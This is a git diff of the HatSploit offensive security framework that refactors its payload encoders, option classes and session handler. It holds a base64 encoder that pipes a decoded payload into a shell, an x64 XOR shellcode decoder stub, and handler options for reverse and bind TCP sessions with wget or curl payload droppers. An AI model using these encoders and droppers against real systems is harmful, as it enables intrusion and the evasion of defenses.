+%comment OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+%comment SOFTWARE.
+%comment
+
+%end
+%red%dark     .... %end%redNO!%dark ...                  ... %end%redMNO!%dark ...
+   ..... %end%redMNO!!%dark ...................... %end%redMNNOO!%dark ...
+ ..... %end%redMMNO!%dark ......................... %end%redMNNOO!!%dark .
+.... %end%redMNOONNOO!   MMMMMMMMMMPPPOII!   MNNO!!!!%dark .
+ ... %end%red!O! NNO! MMMMMMMMMMMMMPPPOOOII!! NO!%dark ....
+    ...... %end%red! MMMMMMMMMMMMMPPPPOOOOIII! !%dark ...
+   ........ %end%redMMMMMMMMMMMMPPPPPOOOOOOII!!%dark .....
+   ........ %end%redMMMMMOOOOOOPPPPPPPPOOOOMII!%dark ...
+    ....... %end%redMMMMM%dark..    %end%redOPPMMP%dark    .,%end%redOMI!%dark ....
+     ...... %end%redMMMM%dark::   o.,%end%redOPMP%dark,.o   ::%end%redI!!%dark ...
+         .... %end%redNNM%dark:::.,,%end%redOOPM!P%dark,.::::%end%red!!%dark ....
+          .. %end%redMMNNNNNOOOOPMO!!IIPPO!!O!%dark .....
+         ... %end%redMMMMMNNNNOO:!!:!!IPPPPOO!%dark ....
+           .. %end%redMMMMMNNOOMMNNIIIPPPOO!!%dark ......
+          ...... %end%redMMMONNMMNNNIIIOO!%dark..........
+       ....... %end%redMN MOMMMNNNIIIIIO! OO%dark ..........
+    ......... %end%redMNO! I%darkiiiiiiiiiii%end%redI OOOO%dark ...........
+  ...... %end%redNNN.MNO!%dark . %end%redO%dark!!!!!!!!!%end%redO%dark . %end%redOONO NO!%dark ........
+   .... %end%redMNNNNNO!%dark ...%end%redOOOOOOOOOOO%dark .  %end%redMMNNON!%dark........
+   ...... %end%redMNNNNO!%dark .. %end%redPPPPPPPPP%dark .. %end%redMMNON!%dark........
+      ...... %end%redOO!%dark ................. %end%redON!%dark .......
+         ................................
+%end
\ No newline at end of file
diff --git a/hatsploit/encoders/generic/base64.py b/hatsploit/encoders/generic/base64.py
index 2eaf1adfc..84d41c525 100755
--- a/hatsploit/encoders/generic/base64.py
+++ b/hatsploit/encoders/generic/base64.py
@@ -5,25 +5,23 @@
 
 from pex.string import String
 
-from hatsploit.lib.encoder.basic import *
+from hatsploit.lib.core.encoder.basic import *
 
 
-class HatSploitEncoder(Encoder, String):
+class HatSploitEncoder(Encoder):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Base64 Encoder for Command",
             'Encoder': "generic/base64",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - encoder developer',
+                "Ivan Nikolskiy (enty8080) - encoder developer",
             ],
             'Description': "Encode command with base64.",
             'Arch': ARCH_GENERIC,
         })
 
-        self.shell = Option("$SHELL", "Shell to execute.", True)
+        self.shell = Option('SHELL', "/bin/sh", "Shell to execute.", True)
 
     def run(self):
-        encoded_payload = self.base64_string(self.payload)
+        encoded_payload = String().base64_string(self.payload)
         return f'base64 --decode <<< {encoded_payload} | {self.shell.value}'
diff --git a/hatsploit/encoders/x64/xor.py b/hatsploit/encoders/x64/xor.py
index 86778b478..3e1f67dcd 100755
--- a/hatsploit/encoders/x64/xor.py
+++ b/hatsploit/encoders/x64/xor.py
@@ -3,27 +3,25 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from pex.arch import X86
+from pex.arch.x86 import X86
 from pex.string import String
 
-from hatsploit.lib.encoder.basic import *
+from hatsploit.lib.core.encoder.basic import *
 
 
-class HatSploitEncoder(Encoder, String, X86):
+class HatSploitEncoder(Encoder):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "x64 XOR Encoder",
             'Encoder': "x64/xor",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - encoder developer',
-            ],
+            'Authors': (
+                "Ivan Nikolskiy (enty8080) - encoder developer",
+            ),
             'Description': "Simple XOR encoder for x64.",
             'Arch': ARCH_X64,
         })
 
-        self.key = Option("hatspl64", "8-byte key to encode.", True)
+        self.key = Option('KEY', "hatspl64", "8-byte key to encode.", True)
 
     def run(self):
         count = -1 * int((len(self.payload) - 1 / len(self.key.value)) + 1)
@@ -31,7 +29,7 @@ def run(self):
         decoder = (
                 b"\x48\x31\xc9"
                 b"\x48\x81\xe9"
-                + self.pack_dword(count) +
+                + X86().pack_dword(count) +
                 b"\x48\x8d\x05\xef\xff\xff\xff"
                 b"\x48\xbb"
                 + self.key.value.encode() +
@@ -40,4 +38,4 @@ def run(self):
                 b"\xe2\xf4"
         )
 
-        return decoder + self.xor_key_bytes(self.payload, self.key.value.encode())
+        return decoder + String().xor_key_bytes(self.payload, self.key.value.encode())
diff --git a/hatsploit/lib/base/__init__.py b/hatsploit/lib/base/__init__.py
new file mode 100644
index 000000000..d11172593
--- /dev/null
+++ b/hatsploit/lib/base/__init__.py
@@ -0,0 +1,43 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from badges import Badges, Tables
+
+
+class BaseMixin(Badges, Tables):
+    """ Subclass of hatsploit.lib.base module.
+
+    This subclass of hatsploit.lib.base module is a representation
+    of a parent class for all modules, payloads, commands, plugins,
+    encoders, sessions, etc.
+    """
+
+    def __init__(self, info: dict) -> None:
+        """ Initialize base module.
+
+        :param dict info: context information (e.g. module details)
+        :return None: None
+        """
+
+        self.info = info
diff --git a/hatsploit/lib/command.py b/hatsploit/lib/command.py
deleted file mode 100755
index f700837e3..000000000
--- a/hatsploit/lib/command.py
+++ /dev/null
@@ -1,57 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from badges import Badges, Tables
-
-
-class Command(Badges, Tables):
-    """ Subclass of hatsploit.lib module.
-
-    This subclass of hatsploit.lib module is intended for providing
-    wrapper for a command.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.details = {
-            'Category': "",
-            'Name': "",
-            'Authors': [
-                ''
-            ],
-            'Description': "",
-            'Usage': "",
-            'MinArgs': 0
-        }
-
-    def run(self, argc: int, argv: list) -> None:
-        """ Run this command.
-
-        :param int argc: number of arguments
-        :param list argv: arguments
-        :return None: None
-        """
-
-        pass
diff --git a/hatsploit/lib/commands.py b/hatsploit/lib/commands.py
deleted file mode 100755
index de814ead7..000000000
--- a/hatsploit/lib/commands.py
+++ /dev/null
@@ -1,205 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from hatsploit.core.base.execute import Execute
-from hatsploit.core.db.importer import Importer
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
-from hatsploit.lib.storage import LocalStorage
-
-
-class Commands(object):
-    """ Subclass of hatsploit.lib module.
-
-    This subclass of hatsploit.lib module is intended for providing
-    necessary tools for managing HatSploit commands.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.show = Show()
-
-        self.importer = Importer()
-        self.execute = Execute()
-
-        self.modules = Modules()
-        self.local_storage = LocalStorage()
-
-    def load_commands(self, path: str) -> dict:
-        """ Load commands from specified path.
-
-        :param str path: path from which to load commands
-        :return dict: loaded commands, names as keys
-        and objects as items
-        """
-
-        return self.importer.import_commands(path)
-
-    def execute_command(self, command: list) -> None:
-        """ Execute command.
-
-        :param list command: command with arguments
-        :return None: None
-        """
-
-        self.execute.execute_command(command)
-
-    def execute_system_command(self, command: list) -> None:
-        """ Execute command as system.
-
-        :param list command: command with arguments
-        :return None: None
-        """
-
-        self.execute.execute_system(command)
-
-    def execute_custom_command(self, command: list, handler: dict, error: bool = True) -> bool:
-        """ Execute command via custom handler.
-
-        Note: handler is a dictionary containing command names as keys and
-        command objects as items.
-
-        :param list command: command with arguments
-        :param dict handler: handler to use
-        :param bool error: True to raise RuntimeError in case of error
-        :return bool: status, True if success else False
-        :raises RuntimeError: with trailing error message
-        """
-
-        if command:
-            if not self.execute.execute_builtin_method(command):
-                if not self.execute.execute_custom_command(command, handler):
-                    if error:
-                        raise RuntimeError(f"Unrecognized command: {command[0]}!")
-                    return False
-        return True
-
-    def execute_custom_plugin_command(self, command: list, plugins: dict, error: bool = True) -> bool:
-        """ Execute command via custom plugin.
-
-        Note: plugins is a dictionary containing plugin names as keys and
-        plugin objects as items.
-
-        :param list command: command with argument
-        :param dict plugins: plugins to use
-        :param bool error: True to raise RuntimeError in case of error
-        :return bool: status, True if success else False
-        :raises RuntimeError: with trailing error message
-        """
-
-        if command:
-            if not self.execute.execute_builtin_method(command):
-                if not self.execute.execute_custom_plugin_command(command, plugins):
-                    if error:
-                        raise RuntimeError(f"Unrecognized command: {command[0]}!")
-                    return False
-        return True
-
-    def show_commands(self, handler: dict) -> None:
-        """ Print table containing commands from custom handler.
-
-        Note: handler is a dictionary containing command names as keys and
-        command objects as items.
-
-        :param dict handler: handler to use
-        :return None: None
-        """
-
-        self.show.show_custom_commands(handler)
-
-    def commands_completer(self, text: str) -> list:
-        """ Commands tab-completion.
-
-        :param str text: text to complete
-        :return list: list of completions
-        """
-
-        return [command for command in self.get_all_commands() if command.startswith(text)]
-
-    def get_commands(self) -> dict:
-        """ Get all imported commands from local storage.
-
-        :return dict: commands, command names as keys and
-        command objects as items
-        """
-
-        return self.local_storage.get("commands")
-
-    def get_modules_commands(self) -> dict:
-        """ Get all commands from loaded modules.
-
-        :return dict: commands, command names as keys and
-        command objects as items
-        """
-
-        module = self.modules.get_current_module()
-
-        if module:
-            return module.commands if hasattr(module, "commands") else {}
-        return {}
-
-    def get_plugins_commands(self) -> dict:
-        """ Get all commands from loaded plugins.
-
-        :return dict: commands, command names as keys and
-        command objects as items
-        """
-
-        plugins = self.local_storage.get("loaded_plugins")
-        commands = {}
-
-        if plugins:
-            for plugin in plugins:
-                if hasattr(plugins[plugin], "commands"):
-                    for label in plugins[plugin].commands:
-                        commands.update(plugins[plugin].commands[label])
-
-        return commands
-
-    def get_all_commands(self) -> dict:
-        """ Get all commands, including core commands, module commands
-        and plugin commands.
-
-        :return dict: commands, command names as keys and
-        command objects as items
-        """
-
-        commands = {}
-        module = self.modules.get_current_module()
-
-        if module:
-            if hasattr(module, "commands"):
-                commands.update(module.commands)
-
-        plugins = self.local_storage.get("loaded_plugins")
-
-        if plugins:
-            for plugin in plugins:
-                if hasattr(plugins[plugin], "commands"):
-                    for label in plugins[plugin].commands:
-                        commands.update(plugins[plugin].commands[label])
-
-        commands.update(self.local_storage.get("commands"))
-        return commands
diff --git a/hatsploit/lib/complex.py b/hatsploit/lib/complex.py
index 5a4d5d749..c260b46a6 100644
--- a/hatsploit/lib/complex.py
+++ b/hatsploit/lib/complex.py
@@ -22,64 +22,239 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.option import Option
+from typing import Union, Any
 
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.sessions import Sessions
+from pex.post.push import Push
+from pex.post.method import select_method
+
+from pex.platform import *
+
+from hatsploit.lib.ui.option import Option, IPv4Option, PortOption
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.encoders import Encoders
+from hatsploit.lib.ui.sessions import Sessions
+
+from hatsploit.lib.mixins import (
+    PayloadMixin,
+    PayloadDropMixin
+)
+
+
+class DropperOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores dropper.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        """ Initialize payload option.
+
+        :return None: None
+        """
+
+        self.modules = Modules()
+        self.method = None
+
+        self.srvhost = IPv4Option('SRVHOST', None, "HTTP server host.", True)
+        self.srvport = PortOption('SRVPORT', 80, "HTTP server port.", True)
+        self.urlpath = Option('URLPATH', "/", "File path on server", True)
+
+        self.push = Push()
+
+        super().__init__(*args, **kwargs)
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        method = select_method(
+            methods=self.push.methods,
+        )
+
+        module = self.modules.get_current_module()
+
+        if module:
+            if hasattr(module, 'payload') and module.payload.payload:
+                method = select_method(
+                    methods=self.push.methods,
+                    platform=module.payload.info['Platform'],
+                    method=value
+                )
+
+                if not method:
+                    raise RuntimeError("Invalid option value, expected valid dropper!")
+
+                if method.name != value and value != 'auto':
+                    raise RuntimeError("Invalid option value, expected valid dropper!")
+
+            if value in ['wget', 'curl']:
+                module.srvhost = self.srvhost
+                module.srvport = self.srvport
+                module.urlpath = self.urlpath
+
+                self.srvport.visible = True
+                self.srvhost.visible = True
+                self.urlpath.visible = True
+            else:
+                self.srvport.visible = False
+                self.srvhost.visible = False
+                self.urlpath.visible = False
+
+        self.method = method
+        self.value = value
 
 
 class PayloadOption(Option):
-    modules = Modules()
-    payloads = Payloads()
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores payload object.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        """ Initialize payload option.
+
+        :return None: None
+        """
+
+        super().__init__(*args, **kwargs)
+
+        self.payload = None
+        self.phase = None
+
+        self.info = {}
+        self.criteria = {}
+
+        self.config = {
+            'BadChars': b'',
+            'Space': 2048,
+            'Append': b'',
+            'Prepend': b''
+        }
+
+        self.mixin = None
+
+        self.modules = Modules()
+        self.payloads = Payloads()
+        self.encoders = Encoders()
+
+    def run(self, method: str = 'run', phase: bool = False) -> Union[Any, None]:
+        """ Run current payload.
+
+        :param str method: payload object method
+        :param bool phase: run phase instead of payload
+        :return Union[Any, None]: generated payload or None
+        """
+
+        payload = self.payload
+
+        if phase:
+            payload = self.phase
+
+        if not payload:
+            return b''
+
+        if phase:
+            for option in self.payload.options:
+                payload.set(option, self.payload.options[option].value)
+
+        buffer = self.payloads.run_payload(
+            payload, self.encoders.get_current_encoder(
+                self.modules.get_current_module(), payload),
+            method=method,
+            badchars=self.config['BadChars'],
+            prepend=self.config['Prepend'],
+            append=self.config['Append']
+        )
+
+        return buffer
+
+    def set(self, value: Union[str, int]) -> None:
+        """ Set current option value.
+
+        :param Union[str, int] value: option value to set
+        :return None: None
+        """
 
-    def set(self, value):
         value = self.modules.find_shorts('payload', value)
         module = self.modules.get_current_module()
 
-        if module:
-            if self.payloads.check_module_compatible(value, module):
-                module_name = module.details['Module']
+        if not module:
+            raise RuntimeError("No module specified for payload!")
 
-                self.payloads.add_payload(module_name, value)
+        if not self.payloads.check_usable(value):
+            raise RuntimeError("Invalid option value, expected valid payload!")
 
-                if 'Payload' not in module.details:
-                    module.details['Payload'] = {}
+        self.mixin = self.payloads.check_module_compatible(
+            value, module)
 
-                module.details['Payload']['Value'] = value
+        if not self.mixin:
+            raise RuntimeError("Invalid option value, expected valid payload!")
 
-                self.payload = self.payloads.get_current_payload(module)
-                self.value = value
+        if self.mixin in self.criteria:
+            self.config.update(self.criteria[self.mixin])
+        self.payloads.add_payload(module, value)
 
-                return
+        self.payload = self.payloads.get_module_payload(value, module)
+        self.info.update(self.payload.info)
+        self.value = value
+
+        phase = self.payload.info['Phase']
+
+        if not phase:
+            phase = '/'.join((str(self.info['Platform']),
+                              str(self.info['Arch']),
+                              str(self.info['Type'])))
 
-        raise RuntimeError("Invalid option value, expected valid payload!")
+        if not self.payloads.check_exist(phase):
+            return
+
+        self.payloads.add_payload(module, phase)
+        self.phase = self.payloads.get_module_payload(phase, module)
 
 
 class EncoderOption(Option):
-    modules = Modules()
-    payloads = Payloads()
-    encoders = Encoders()
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores encoder object.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        """ Initialize encoder option.
+
+        :return None: None
+        """
+
+        super().__init__(*args, **kwargs)
+
+        self.encoder = None
+
+        self.modules = Modules()
+        self.payloads = Payloads()
+        self.encoders = Encoders()
+
+    def set(self, value: Union[str, int]) -> None:
+        """ Set current option value.
+
+        :param Union[str, int] value: option value to set
+        :return None: None
+        """
 
-    def set(self, value):
         value = self.modules.find_shorts('encoder', value)
         module = self.modules.get_current_module()
         payload = self.payloads.get_current_payload(module)
 
         if module and payload:
             if self.encoders.check_payload_compatible(value, payload):
-                module_name = module.details['Module']
-                payload_name = payload.details['Payload']
-
-                self.encoders.add_encoder(module_name, payload_name, value)
-
-                if 'Encoder' not in payload.details:
-                    payload.details['Encoder'] = {}
-
-                payload.details['Encoder']['Value'] = value
-
-                self.encoder = self.encoders.get_current_encoder(module, payload)
+                self.encoders.add_encoder(module, payload, value)
+                self.encoder = self.encoders.get_payload_encoder(
+                    value, module, payload)
                 self.value = value
 
                 return
@@ -88,7 +263,20 @@ def set(self, value):
 
 
 class SessionOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores session object.
+    """
+
     def __init__(self, *args, platforms: list = [], type: str = '', **kwargs):
+        """ Initialize session option.
+
+        :param list platforms: supported platforms
+        :param str type: type of session
+        :return None: None
+        """
+
         Option.__init__(self, *args, **kwargs)
 
         self.sessions = Sessions()
@@ -97,12 +285,20 @@ def __init__(self, *args, platforms: list = [], type: str = '', **kwargs):
         self.platforms = platforms
         self.type = type
 
-    def set(self, value):
+        self.session = None
+
+    def set(self, value: int) -> None:
+        """ Set current option value.
+
+        :param int value: option value to set
+        :return None: None
+        """
+
         value = int(value)
         module = self.modules.get_current_module()
 
         if module:
-            platform = module.details['Platform']
+            platform = module.info['Platform']
 
             if not self.platforms:
                 if not self.sessions.check_exist(value, platform, self.type):
diff --git a/hatsploit/lib/config.py b/hatsploit/lib/config.py
index 1d8f5bc1f..e8850beb4 100755
--- a/hatsploit/lib/config.py
+++ b/hatsploit/lib/config.py
@@ -27,7 +27,7 @@
 import yaml
 
 from hatsploit.lib.storage import GlobalStorage
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.lib.storage import STORAGE
 
 
 class Config(object):
@@ -37,10 +37,7 @@ class Config(object):
     tools for configuring HatSploit Framework.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.local_storage = LocalStorage()
+    def __init__(self):
         self.global_storage = None
 
         self.user_path = f'{pathlib.Path.home()}/.hsf/'
@@ -51,7 +48,7 @@ def __init__(self) -> None:
         self.db_config_file = self.config_path + 'db_config.yml'
         self.core_config_file = self.config_path + 'core_config.yml'
 
-        self.db_config = self.local_storage.get("db_config")
+        self.db_config = STORAGE.get("db_config")
         self.path_config = {
             'user_path': self.user_path,
 
@@ -80,7 +77,7 @@ def __init__(self) -> None:
             'storage_path': f'{self.base_path}config/storage.json'
         }
 
-        self.core_config = self.local_storage.get("core_config")
+        self.core_config = STORAGE.get("core_config")
 
     @staticmethod
     def get_config_file(content: dict) -> dict:
@@ -105,8 +102,8 @@ def configure(self) -> None:
         self.db_config = db_config
         self.core_config = core_config
 
-        self.local_storage.set("db_config", self.db_config)
-        self.local_storage.set("core_config", self.core_config)
+        STORAGE.set("db_config", self.db_config)
+        STORAGE.set("core_config", self.core_config)
 
         self.global_storage = GlobalStorage(self.path_config['storage_path'])
         self.global_storage.set_all()
diff --git a/hatsploit/lib/core/__init__.py b/hatsploit/lib/core/__init__.py
new file mode 100644
index 000000000..b769af4c7
--- /dev/null
+++ b/hatsploit/lib/core/__init__.py
@@ -0,0 +1,23 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
diff --git a/hatsploit/lib/encoder/__init__.py b/hatsploit/lib/core/encoder/__init__.py
similarity index 64%
rename from hatsploit/lib/encoder/__init__.py
rename to hatsploit/lib/core/encoder/__init__.py
index 79ce673b7..a3d8dd534 100644
--- a/hatsploit/lib/encoder/__init__.py
+++ b/hatsploit/lib/core/encoder/__init__.py
@@ -22,47 +22,51 @@
 SOFTWARE.
 """
 
-from typing import Any, Optional
+from typing import Optional
 
-from hatsploit.lib.option import *
+from hatsploit.lib.ui.option import IntegerOption
+from hatsploit.lib.ui.options import Options
 
-from badges import Badges, Tables
+from hatsploit.lib.base import BaseMixin
 
-from hatsploit.core.utils.tools import Tools
-from hatsploit.lib.options import Options
 
-
-class Encoder(Badges, Tables, Tools):
+class Encoder(BaseMixin, Options):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     wrapper for a encoder.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize encoder
+
+        :param dict info: encoder details
+        :return None: None
+        """
 
-        self.details = {
+        details = {
             'Name': "",
             'Encoder': "",
-            'Authors': [
-                ''
-            ],
+            'Authors': (
+            ),
             'Description': "",
-            'Arch': None
+            'Arch': None,
         }
+        details.update(info)
+
+        super().__init__(details)
 
-        self.iterations = IntegerOption(1, "Number of iterations.", False, True)
+        self.options = {}
+        self.advanced = {}
+        self.iterations = IntegerOption('ITER', 1, "Number of iterations.", False, True)
 
-    def set(self, option: str, value: Optional[str] = None) -> bool:
-        """ Set encoder option.
+    def __call__(self) -> None:
+        """ Called after initialization.
 
-        :param str option: option name
-        :param Optional[str] value: option value
-        :return bool: True if success else False
+        :return None: None
         """
 
-        return Options().set_option(self, option, value)
+        return
 
     def run(self) -> None:
         """ Run this encoder.
@@ -70,4 +74,4 @@ def run(self) -> None:
         :return None: None
         """
 
-        pass
+        return
diff --git a/hatsploit/lib/payload/basic.py b/hatsploit/lib/core/encoder/basic.py
similarity index 85%
rename from hatsploit/lib/payload/basic.py
rename to hatsploit/lib/core/encoder/basic.py
index b9f6b3a83..e22bb5fe4 100644
--- a/hatsploit/lib/payload/basic.py
+++ b/hatsploit/lib/core/encoder/basic.py
@@ -22,10 +22,7 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.payload import Payload
-from hatsploit.lib.handler import Handler
+from hatsploit.lib.core.encoder import Encoder
 
-from pex.arch.types import *
-from pex.platform.types import *
-
-from hatsploit.lib.option import *
+from pex.arch import *
+from hatsploit.lib.ui.option import *
diff --git a/hatsploit/lib/core/handler/__init__.py b/hatsploit/lib/core/handler/__init__.py
new file mode 100755
index 000000000..a85176bd1
--- /dev/null
+++ b/hatsploit/lib/core/handler/__init__.py
@@ -0,0 +1,264 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+import socket
+import datetime
+
+from hatsploit.lib.base import BaseMixin
+
+from typing import (
+    Optional,
+    Callable,
+    Tuple,
+    Any,
+    Union
+)
+
+from pex.proto.tcp import TCPTools
+
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    BooleanOption
+)
+from hatsploit.lib.complex import (
+    PayloadOption,
+    EncoderOption,
+    DropperOption
+)
+
+from hatsploit.lib.ui.sessions import Sessions
+
+from hatsploit.lib.pseudo import Pseudo
+
+from hatsploit.lib.core.session import Session
+from hatsploit.lib.core.payload import Payload
+from hatsploit.lib.core.module import Module
+
+from hatsploit.lib.core.handler.send import Send
+from hatsploit.lib.core.handler.misc import HatSploitSession
+
+from hatsploit.lib.core.payload.const import (
+    REVERSE_TCP,
+    BIND_TCP,
+    ONE_SIDE
+)
+
+
+class Handler(BaseMixin, Sessions):
+    """ Main class of hatsploit.lib.handler module.
+
+    This main class of hatsploit.lib.handler module is intended
+    for providing tools for working with payloads and sessions.
+    """
+
+    types = [
+        ONE_SIDE,
+        REVERSE_TCP,
+        BIND_TCP
+    ]
+
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize handler mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
+
+        self.payload = PayloadOption(
+            'PAYLOAD',
+            None,
+            "Payload to use.",
+            True,
+            object=Module
+        )
+        self.pseudo = BooleanOption(
+            'HANDLER::PSEUDO',
+            'no',
+            "Use pseudo shell instead of payload.",
+            False,
+            object=Module,
+            advanced=True
+        )
+        self.encoder = EncoderOption(
+            'ENCODER',
+            None,
+            "Encoder to use.",
+            False,
+            object=Payload
+        )
+
+        self.lhost = IPv4Option(
+            'LHOST',
+            TCPTools.get_local_host(),
+            "Local host.",
+            True,
+            object=Module
+        )
+        self.lport = PortOption(
+            'LPORT',
+            8888,
+            "Local port.",
+            True,
+            object=Module
+        )
+
+        self.rhost = IPv4Option(
+            'RHOST',
+            TCPTools.get_local_host(),
+            "Remote host.",
+            True,
+            object=Payload
+        )
+        self.rport = PortOption(
+            'RPORT',
+            8888,
+            "Remote port.",
+            True,
+            object=Payload
+        )
+
+        self.dropper = DropperOption(
+            'HANDLER::DROPPER',
+            'auto',
+            "Method used to deliver payload.",
+            False,
+            object=Module,
+            advanced=True
+        )
+
+    def open_session(self, session: Session,
+                     on_session: Optional[Callable[..., Any]] = None,
+                     info: Optional[dict] = {}) -> None:
